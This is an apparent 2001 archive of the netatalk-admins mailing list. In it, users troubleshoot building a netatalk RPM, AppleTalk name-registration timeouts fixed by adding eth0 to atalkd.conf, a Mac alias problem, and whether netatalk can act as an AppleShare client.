> Date: Tue, 15 May 2001 09:39:50 -0400
> 
> "Bruce A. Burdick, Jr." wrote:
>> 
>> When trying to build an RPM from the latest .tar.gz, I get this:
>> 
>> # rpm -ta netatalk-1.5pre6.tar.gz
>> error: %changelog not in decending chronological order
>> 
>> (And, yes that's how the RPM developer spelled 'descending'...)
>> 
>> Apart from the implicit suggestion that the changelog be fixed, is there an
>> easy way to fix or circumvent this?
> 
> Yes. I can try to use "2001" instead of "2000" in the dates for this
> year. Sorry about the inconvenience.
> 
> jeff

It wouldn't be alpha software if wasn't inconvenient! ;-)

That would be great. Let me know when you've fixed it. In the meantime, I'll
try to fix my copy myself.

-B...


From netatalk.administrators-errors@umich.edu  Tue May 15 17:46:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id RAA27582
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 15 May 2001 17:46:28 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA24321
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 15 May 2001 17:46:28 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id RAA24312
	for netatalk.administrators-members@umich.edu; Tue, 15 May 2001 17:46:27 -0400 (EDT)
Received: from thor.germania.lan (pD95845F8.dip.t-dialin.net [217.88.69.248])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id RAA24277
	for <netatalk-admins@umich.edu>; Tue, 15 May 2001 17:46:25 -0400 (EDT)
Received: by thor.germania.lan (Postfix, from userid 501)
	id 370FA149C; Tue, 15 May 2001 23:45:48 +0200 (CEST)
Received: from localhost (localhost [127.0.0.1])
	by thor.germania.lan (Postfix) with ESMTP id 264FB145B
	for <netatalk-admins@umich.edu>; Tue, 15 May 2001 23:45:48 +0200 (CEST)
Date: Tue, 15 May 2001 23:45:48 +0200 (CEST)
From: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
X-X-Sender:  <claus@thor.germania.lan>
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: Problem with netatalk-1.5pre2-6 on a RH 7.1 system
In-Reply-To: <20010515230451.A4734@suse.de>
Message-ID: <Pine.LNX.4.33L2.0105152343230.2161-100000@thor.germania.lan>
Organization: Atzenbeck. Data structures & design
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Tue, 15 May 2001, Olaf Hering wrote:

> On Tue, May 15, Claus Atzenbeck wrote:
>
> > On Mon, 14 May 2001, Karl-Heinz Schulz wrote:
> >
> > > I have problems to connect the Mac client to the server.
> > > When shutting doen the server I receive the error
> >
> > I have the same problem with netatalk-1.5pre6-1mdk on Mandrake 8.0
> >
> > This is what happens:
> >
> > *****
> > [root@thor root]# /etc/rc.d/init.d/atalk start
> > nbp_rgstr: Connection timed out                            [  OK  ]
> > Can't register thor:Workstation@*
> > nbp_rgstr: Connection timed out
> > Can't register thor:netatalk@*
>
> Dont start the the atalkd with the `deamon` tool, I tried `startproc`
> here, that doesnt work because startproc returns and atalkd is not yet
> running. Well, if it works with earlier releases, no idea then.

I'm afraid that I don't understand what to do. Sorry...
What is "startproc"? What is wrong starting with "atalk start"?
Usually atalk is started on boot.

Please give me some more help...

Thanks so much!
Claus


From netatalk.administrators-errors@umich.edu  Tue May 15 18:23:45 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id SAA00743
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 15 May 2001 18:23:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA13380
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 15 May 2001 18:23:45 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id SAA13366
	for netatalk.administrators-members@umich.edu; Tue, 15 May 2001 18:23:44 -0400 (EDT)
Received: from Cantor.suse.de (ns.suse.de [213.95.15.193])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id SAA13341
	for <netatalk-admins@umich.edu>; Tue, 15 May 2001 18:23:43 -0400 (EDT)
Received: from Hermes.suse.de (Hermes.suse.de [213.95.15.136])
	by Cantor.suse.de (Postfix) with ESMTP
	id 591A91E2DB; Wed, 16 May 2001 00:23:42 +0200 (MEST)
Date: Wed, 16 May 2001 00:22:48 +0200
From: Olaf Hering <olh@suse.de>
To: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
Cc: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: Problem with netatalk-1.5pre2-6 on a RH 7.1 system
Message-ID: <20010516002248.B2794@suse.de>
References: <20010515230451.A4734@suse.de> <Pine.LNX.4.33L2.0105152343230.2161-100000@thor.germania.lan>
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
Content-Disposition: inline
User-Agent: Mutt/1.3.12i
In-Reply-To: <Pine.LNX.4.33L2.0105152343230.2161-100000@thor.germania.lan>; from claus.atzenbeck@nikocity.de on Tue, May 15, 2001 at 11:45:48PM +0200

On Tue, May 15, Claus Atzenbeck wrote:

> On Tue, 15 May 2001, Olaf Hering wrote:
> 
> > On Tue, May 15, Claus Atzenbeck wrote:
> > > [root@thor root]# /etc/rc.d/init.d/atalk start
> > > nbp_rgstr: Connection timed out                            [  OK  ]
> > > Can't register thor:Workstation@*
> > > nbp_rgstr: Connection timed out
> > > Can't register thor:netatalk@*
> >
> > Dont start the the atalkd with the `deamon` tool, I tried `startproc`
> > here, that doesnt work because startproc returns and atalkd is not yet
> > running. Well, if it works with earlier releases, no idea then.
> 
> I'm afraid that I don't understand what to do. Sorry...
> What is "startproc"? What is wrong starting with "atalk start"?
> Usually atalk is started on boot.
> 
> Please give me some more help...

look at /etc/rc.d/init.d/atalk 
There is something like 
        daemon ${ATALK_SBIN}/atalkd


daemon picks your atalkd and launch it in the background. Then the next
service is started, which depends on atalkd . atalkd is not yet ready
and you get these error messages.
just remove "daemon".


Gruss Olaf

-- 
 $ man clone

BUGS
       Main feature not yet implemented...

From netatalk.administrators-errors@umich.edu  Tue May 15 19:17:46 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id TAA02880
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Tue, 15 May 2001 19:17:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA18484
	for netatalk-admins@terminator.rsug.itd.umich.edu; Tue, 15 May 2001 19:17:46 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id TAA18467
	for netatalk.administrators-members@umich.edu; Tue, 15 May 2001 19:17:46 -0400 (EDT)
Received: from clavin.interaccess.com (from.interaccess.com [207.208.131.20])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id TAA18432
	for <netatalk-admins@umich.edu>; Tue, 15 May 2001 19:17:45 -0400 (EDT)
Received: from [192.168.1.118] (a10.240.208.207.ded25.interaccess.com [207.208.240.10])
	by clavin.interaccess.com (8.10.2/8.10.2) with ESMTP id f4FNHDL19108;
	Tue, 15 May 2001 18:17:13 -0500 (CDT)
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Tue, 15 May 2001 18:17:14 -0500
Subject: Re: Building an RPM from the tar.gz
From: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
To: jeff <jeff@univrel.pr.uconn.edu>
CC: <netatalk-admins@umich.edu>
Message-ID: <B727232A.1C638%bucky@interaccess.com>
In-Reply-To: <3B0131A6.5BBDE309@univrel.pr.uconn.edu>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

This is what I changed to get me around that part of the problem:

3c3
< %define version 1.5pre5
---
> %define version 1.5pre6
13c13
< Source0: %{name}-%{version}.tar.bz2
---
> Source0: %{name}-%{version}.tar.gz
46c46
< * Wed Mar 07 2000 rufus t firefly <rufus.t.firefly@linux-mandrake.com>
---
> * Wed Mar 07 2001 rufus t firefly <rufus.t.firefly@linux-mandrake.com>


-B...

> From: jeff <jeff@univrel.pr.uconn.edu>
> Date: Tue, 15 May 2001 09:39:50 -0400
> To: "Bruce A. Burdick, Jr." <bucky@interaccess.com>
> Cc: netatalk-admins@umich.edu
> Subject: Re: Building an RPM from the tar.gz
> 
> "Bruce A. Burdick, Jr." wrote:
>> 
>> When trying to build an RPM from the latest .tar.gz, I get this:
>> 
>> # rpm -ta netatalk-1.5pre6.tar.gz
>> error: %changelog not in decending chronological order
>> 
>> (And, yes that's how the RPM developer spelled 'descending'...)
>> 
>> Apart from the implicit suggestion that the changelog be fixed, is there an
>> easy way to fix or circumvent this?
> 
> Yes. I can try to use "2001" instead of "2000" in the dates for this
> year. Sorry about the inconvenience.
> 
> jeff
> 


From netatalk.administrators-errors@umich.edu  Wed May 16 03:35:29 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id DAA16447
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 May 2001 03:35:28 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA04112
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 May 2001 03:35:19 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id DAA04103
	for netatalk.administrators-members@umich.edu; Wed, 16 May 2001 03:35:19 -0400 (EDT)
Received: from thor.germania.lan (p3EE03BD1.dip.t-dialin.net [62.224.59.209])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id DAA04081
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 03:35:17 -0400 (EDT)
Received: by thor.germania.lan (Postfix, from userid 501)
	id 443501459; Wed, 16 May 2001 09:34:44 +0200 (CEST)
Received: from localhost (localhost [127.0.0.1])
	by thor.germania.lan (Postfix) with ESMTP id 27B28141D
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 09:34:44 +0200 (CEST)
Date: Wed, 16 May 2001 09:34:44 +0200 (CEST)
From: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
X-X-Sender:  <claus@thor.germania.lan>
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: Problem with netatalk-1.5pre2-6 on Mandrake 8.0 (was: RH 7.1)
In-Reply-To: <20010516002248.B2794@suse.de>
Message-ID: <Pine.LNX.4.33L2.0105160930100.1698-100000@thor.germania.lan>
Organization: Atzenbeck. Data structures & design
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 16 May 2001, Olaf Hering wrote:

> daemon picks your atalkd and launch it in the background. Then the next
> service is started, which depends on atalkd . atalkd is not yet ready
> and you get these error messages.
> just remove "daemon".

Thanks, Olaf, but it is still the same result. I have removed any word
"daemon" in /etc/rc.d/init.d/atalk ans I also was adding
"alias net-pf-5 appletalk" to module.conf (thanks to Craig), but:

*****
[root@thor init.d]# ./atalk stop
Can't unregister thor:Workstation@*                        [FEHLER]
Can't unregister thor:netatalk@*
                                                           [  OK  ]
[root@thor init.d]# ./atalk start
Starting AppleTalk services: nbp_rgstr: Connection timed out
Can't register thor:Workstation@*
nbp_rgstr: Connection timed out
Can't register thor:netatalk@*
*****

Any idea left??

Thanks a lot...
Claus


From netatalk.administrators-errors@umich.edu  Wed May 16 08:54:44 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id IAA23508
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 May 2001 08:54:44 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA18851
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 May 2001 08:54:35 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id IAA18846
	for netatalk.administrators-members@umich.edu; Wed, 16 May 2001 08:54:34 -0400 (EDT)
Received: from Ceres.digitalgraphics.net (digitalgraphics.net [216.133.71.226])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id IAA18834
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 08:54:33 -0400 (EDT)
Received: from cx448422-b.wwck1.ri.home.com (cx448422-b.wwck1.ri.home.com [24.18.198.105] (may be forged))
	by Ceres.digitalgraphics.net (8.9.3/8.9.3) with SMTP id JAA25834
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 09:20:25 -0400 (EDT)
	(envelope-from leeb@digitalgraphics.net)
To: netatalk-admins@umich.edu (Netatalk List)
Subject: alias losing it's link
From: leeb@digitalgraphics.net (Lee Blevins)
Date: Wed, 16 May 2001 08:54:41 -0400
Message-ID: <1ethspa.1w4tken74rutcM@cx448422-b.wwck1.ri.home.com>
Organization: Digital Graphics, Inc.
User-Agent: MacSOUP/2.4 (unregistered for 113 days)

I make an alias of a directory (folder) on a netatalk vol. and after
some time I double click it and it opens another folder. 

Any ideas what's happening here?

thanks

From netatalk.administrators-errors@umich.edu  Wed May 16 10:27:04 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA26712
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 May 2001 10:27:04 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA04352
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 May 2001 10:27:04 -0400 (EDT)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA04337
	for netatalk.administrators-members@umich.edu; Wed, 16 May 2001 10:27:04 -0400 (EDT)
Received: from mhub5.tc.umn.edu (mhub5.tc.umn.edu [160.94.218.235])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA04294
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 10:27:02 -0400 (EDT)
Received: from garnet.tc.umn.edu by mhub5.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 16 May 2001 09:27:02 -0500
Received: from localhost by garnet.tc.umn.edu with ESMTP for netatalk-admins@umich.edu; Wed, 16 May 2001 09:27:01 -0500
Date: Wed, 16 May 2001 09:27:01 -0500 (CDT)
From: Karen A Swanberg <swanberg@tc.umn.edu>
To: netatalk-admins@umich.edu
Subject: Re: Problem with netatalk-1.5pre2-6 on Mandrake 8.0 (was: RH 7.1)
In-Reply-To: <Pine.LNX.4.33L2.0105160930100.1698-100000@thor.germania.lan>
Message-Id: <Pine.SOL.4.20.0105160922070.24647-100000@garnet.tc.umn.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


What does your atalkd.conf file have in it? When I get this problem, it's
because I don't have my network interface listed. So I start with my
atalkd.conf file with this:

fxp0

and netatalk fills it in with this on the first successful start:

fxp0 -phase 2 -net 51321 -addr 51321.238 -zone "Geology"

This is on an OpenBSD box, perhaps the interface is something like eth0,
or le0. Whichever you see with an ifconfig -a command, or the equiv. on
your system.

After making this change I generally reboot, but I'm not an uptime
fanatic, and have spent way too much time in windows-world. =)

-Karen


on 05/16/01, Claus Atzenbeck wisely declared:

> On Wed, 16 May 2001, Olaf Hering wrote:
> 
> > daemon picks your atalkd and launch it in the background. Then the next
> > service is started, which depends on atalkd . atalkd is not yet ready
> > and you get these error messages.
> > just remove "daemon".
> 
> Thanks, Olaf, but it is still the same result. I have removed any word
> "daemon" in /etc/rc.d/init.d/atalk ans I also was adding
> "alias net-pf-5 appletalk" to module.conf (thanks to Craig), but:
> 
> *****
> [root@thor init.d]# ./atalk stop
> Can't unregister thor:Workstation@*                        [FEHLER]
> Can't unregister thor:netatalk@*
>                                                            [  OK  ]
> [root@thor init.d]# ./atalk start
> Starting AppleTalk services: nbp_rgstr: Connection timed out
> Can't register thor:Workstation@*
> nbp_rgstr: Connection timed out
> Can't register thor:netatalk@*
> *****
> 
> Any idea left??
> 
> Thanks a lot...
> Claus
> 
> 


*                                                     *
Karen Swanberg              |                         
Network Admin.              |               GNUmusk, an 
Dept. of Geology/Geophysics |        opensource cologne
206 Pillsbury Hall          |                         
310 Pillsbury Ave. SE       |       Old geeks never die                    
University of Mn            |          They just revert
Minneapolis, MN 55455       |              to cleartext
(612) 624-6541              |                         
*                                                     *



From netatalk.administrators-errors@umich.edu  Wed May 16 10:49:39 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id KAA27792
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 May 2001 10:49:39 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA15744
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 May 2001 10:49:29 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id KAA15732
	for netatalk.administrators-members@umich.edu; Wed, 16 May 2001 10:49:29 -0400 (EDT)
Received: from thor.germania.lan (p3EE03BD1.dip.t-dialin.net [62.224.59.209])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id KAA15717
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 10:49:27 -0400 (EDT)
Received: by thor.germania.lan (Postfix, from userid 501)
	id 47A2314B8; Wed, 16 May 2001 16:48:59 +0200 (CEST)
Received: from localhost (localhost [127.0.0.1])
	by thor.germania.lan (Postfix) with ESMTP id 3FEF514B7
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 16:48:59 +0200 (CEST)
Date: Wed, 16 May 2001 16:48:59 +0200 (CEST)
From: Claus Atzenbeck <claus.atzenbeck@nikocity.de>
X-X-Sender:  <claus@thor.germania.lan>
To: netatalk mailing list <netatalk-admins@umich.edu>
Subject: Re: Problem with netatalk-1.5pre2-6 on Mandrake 8.0 (was: RH 7.1)
In-Reply-To: <Pine.SOL.4.20.0105160922070.24647-100000@garnet.tc.umn.edu>
Message-ID: <Pine.LNX.4.33L2.0105161647500.3205-100000@thor.germania.lan>
Organization: Atzenbeck. Data structures & design
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

On Wed, 16 May 2001, Karen A Swanberg wrote:

> What does your atalkd.conf file have in it? When I get this problem, it's
> because I don't have my network interface listed. So I start with my
> atalkd.conf file with this:

Great! I just had to add eth0 in atalkd.conf and atalk starts and
stops without errors!

Thanks a lot Karen!

Claus


From netatalk.administrators-errors@umich.edu  Wed May 16 14:10:38 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA04882
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 May 2001 14:10:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22214
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 May 2001 14:10:38 -0400 (EDT)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA22163
	for netatalk.administrators-members@umich.edu; Wed, 16 May 2001 14:10:37 -0400 (EDT)
Received: from sjc3-1.relay.mail.uu.net (sjc3-1.relay.mail.uu.net [199.171.54.122])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA22123
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 14:10:34 -0400 (EDT)
Received: from [149.39.30.228] by sjc3sosrv11.alter.net with ESMTP 
	(peer crosschecked as: [149.39.30.228])
	id QQkphg01688
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 18:10:33 GMT
Mime-Version: 1.0
X-Sender: ahunter3@earthlink.net (Unverified)
Message-Id: <p05010401b72870676164@[149.39.30.125]>
Date: Wed, 16 May 2001 14:10:05 -0400
To: netatalk-admins@umich.edu
From: Allan Hunter <ahunter3@earthlink.net>
Subject: Unix (Netatalk) Client of Conventional MacOS Server?
Content-Type: text/plain; charset="us-ascii" ; format="flowed"

Hello, list!  Complete Unix newbie here, courtesy of MacOS X (I'm 
afraid you'll be getting more and more of this...)

Suppose I wish to access the shares that are set up on Macintosh 
computers here in our organization, and I am running a BSD Unix 
variant (MacOS X in this case).  Those Macintoshes (hundreds of them, 
in dozens of hallways throughout many buildings in many states -- in 
other words, changing how THEY are set up isn't a viable answer here) 
are not running AppleShare of the IP variety but just plain old 
garden variety AppleTalk-based file sharing over Ethernet.

Will Netatalk enable me to be a CLIENT of those shares?  Or is 
Netatalk only useful for turning Unix boxes into AppleShare SERVERS?

If Netatalk won't allow me to be a client, what will?  (There HAS to 
be something!  I refuse to believe there doesn't exist a way for a 
Unix box to function as an individual workstation in an AppleTalk 
networked environment!)

Relevant additional information:  MacOS X in its out-of-the-box form 
is not able to browse AppleShare resources except for those that sit 
piggyback on top of TCP/IP.  Plain old garden variety AppleTalk file 
sharing isn't affiliated with TCP/IP.


-- 
Allan Hunter

<ahunter3@earthlink.net>
<http://home.earthlink.net/~ahunter>

From netatalk.administrators-errors@umich.edu  Wed May 16 14:24:31 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA05689
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 May 2001 14:24:30 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA08645
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 May 2001 14:24:21 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA08632
	for netatalk.administrators-members@umich.edu; Wed, 16 May 2001 14:24:20 -0400 (EDT)
Received: from clever.visp-europe.psi.com (clever.visp-europe.psi.com [212.222.105.4])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA08607
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 14:24:19 -0400 (EDT)
Received: from ns11-n67-074.de.inter.net ([213.73.67.74] helo=athlet.deltaman.de)
	by clever.visp-europe.psi.com with esmtp (Exim 3.22 #1)
	id 1505yF-0007WZ-00
	for netatalk-admins@umich.edu; Wed, 16 May 2001 20:24:27 +0200
Received: from athlet (root@athlet.deltaman.de [192.168.1.1])
	by athlet.deltaman.de (8.9.3/8.9.3/SuSE Linux 8.9.3-0.1) with SMTP id UAA00788
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 20:23:19 +0200
From: Carsten Neumann <deltor@snafu.de>
Reply-To: deltor@snafu.de
To: netatalk-admins@umich.edu
Subject: Re: Problem with netatalk-1.5pre2-6 on Mandrake 8.0 (was: RH 7.1)
Date: Wed, 16 May 2001 20:12:05 +0200
X-Mailer: KMail [version 1.0.28]
Content-Type: text/plain
References: <Pine.LNX.4.33L2.0105160930100.1698-100000@thor.germania.lan>
In-Reply-To: <Pine.LNX.4.33L2.0105160930100.1698-100000@thor.germania.lan>
MIME-Version: 1.0
Message-Id: <01051620231903.25177@athlet>
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id OAA05689

On Wed, 16 May 2001, Claus Atzenbeck wrote:
> On Wed, 16 May 2001, Olaf Hering wrote:
> 
> > daemon picks your atalkd and launch it in the background. Then the next
> > service is started, which depends on atalkd . atalkd is not yet ready
> > and you get these error messages.
> > just remove "daemon".
> 
> Thanks, Olaf, but it is still the same result. I have removed any word
> "daemon" in /etc/rc.d/init.d/atalk ans I also was adding
> "alias net-pf-5 appletalk" to module.conf (thanks to Craig), but:
> 
> *****
> [root@thor init.d]# ./atalk stop
> Can't unregister thor:Workstation@*                        [FEHLER]
> Can't unregister thor:netatalk@*
>                                                            [  OK  ]
> [root@thor init.d]# ./atalk start
> Starting AppleTalk services: nbp_rgstr: Connection timed out
> Can't register thor:Workstation@*
> nbp_rgstr: Connection timed out
> Can't register thor:netatalk@*
> *****
> 
> Any idea left??
> 
> Thanks a lot...
> Claus

You probably have to put your network interface (ethernet?) into promiscuous mode
before starting appletalk.
E.g.: "ifconfig eth0 promisc"

HTH

Kind regards

	Carsten

From netatalk.administrators-errors@umich.edu  Wed May 16 14:48:35 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from funinacapulco.mr.itd.umich.edu (funinacapulco.mr.itd.umich.edu [141.211.14.27])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id OAA06735
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 May 2001 14:48:35 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04582
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 16 May 2001 14:48:25 -0400 (EDT)
Received: (from daemon@localhost)
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with X.500 id OAA04551
	for netatalk.administrators-members@umich.edu; Wed, 16 May 2001 14:48:24 -0400 (EDT)
Received: from mathserv.math.ohio-state.edu (mathserv.math.ohio-state.edu [128.146.111.31])
	by funinacapulco.mr.itd.umich.edu (8.9.3/3.1u) with ESMTP id OAA04521
	for <netatalk-admins@umich.edu>; Wed, 16 May 2001 14:48:23 -0400 (EDT)
Received: from math.ohio-state.edu (math.ohio-state.edu [128.146.111.30])
	by mathserv.math.ohio-state.edu (8.11.2/8.11.2) with ESMTP id f4GImVS07704;
	Wed, 16 May 2001 14:48:31 -0400
Date: Wed, 16 May 2001 14:48:31 -0400 (EDT)
From: Chad Cunningham <ccunning@math.ohio-state.edu>
To: Allan Hunter <ahunter3@earthlink.net>
cc: <netatalk-admins@umich.edu>
Subject: Re: Unix (Netatalk) Client of Conventional MacOS Server?
In-Reply-To: <p05010401b72870676164@[149.39.30.125]>
Message-ID: <Pine.GSO.4.31.0105161446200.21068-100000@math.ohio-state.edu>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII


Netatalk is a server, it allows other machines to mount volumes from a
unix machine using classic appletalk or appletalk over IP.

As far as I know, there is nothing that will allow any variety of unix to
mount an appleshare volume that is served up by another machine. There is
a linux kernel module that existed at one time, but it didn't work all
that well and hasn't been touched in a few years.

On Wed, 16 May 2001, Allan Hunter wrote:

> Hello, list!  Complete Unix newbie here, courtesy of MacOS X (I'm
> afraid you'll be getting more and more of this...)
>
> Suppose I wish to access the shares that are set up on Macintosh
> computers here in our organization, and I am running a BSD Unix
> variant (MacOS X in this case).  Those Macintoshes (hundreds of them,
> in dozens of hallways throughout many buildings in many states -- in
> other words, changing how THEY are set up isn't a viable answer here)
> are not running AppleShare of the IP variety but just plain old
> garden variety AppleTalk-based file sharing over Ethernet.
>
> Will Netatalk enable me to be a CLIENT of those shares?  Or is
> Netatalk only useful for turning Unix boxes into AppleShare SERVERS?
>
> If Netatalk won't allow me to be a client, what will?  (There HAS to
> be something!  I refuse to believe there doesn't exist a way for a
> Unix box to function as an individual workstation in an AppleTalk
> networked environment!)
>
> Relevant additional information:  MacOS X in its out-of-the-box form
> is not able to browse AppleShare resources except for those that sit
> piggyback on top of TCP/IP.  Plain old garden variety AppleTalk file
> sharing isn't affiliated with TCP/IP.
>
>
>

-- 

Chad Cunningham
ccunning@math.ohio-state.edu

"Well, once again my friend, we find that science is a two-headed beast. One
head is nice, it gives us aspirin and other modern conveniences,...but the
other head of science is bad! Oh beware the other head of science, Arthur, it
bites!"


From netatalk.administrators-errors@umich.edu  Wed May 16 16:24:02 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id QAA10021
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 16 May 2001 16:24:02 -0400 (EDT)
Received: (from daemon@localhost)
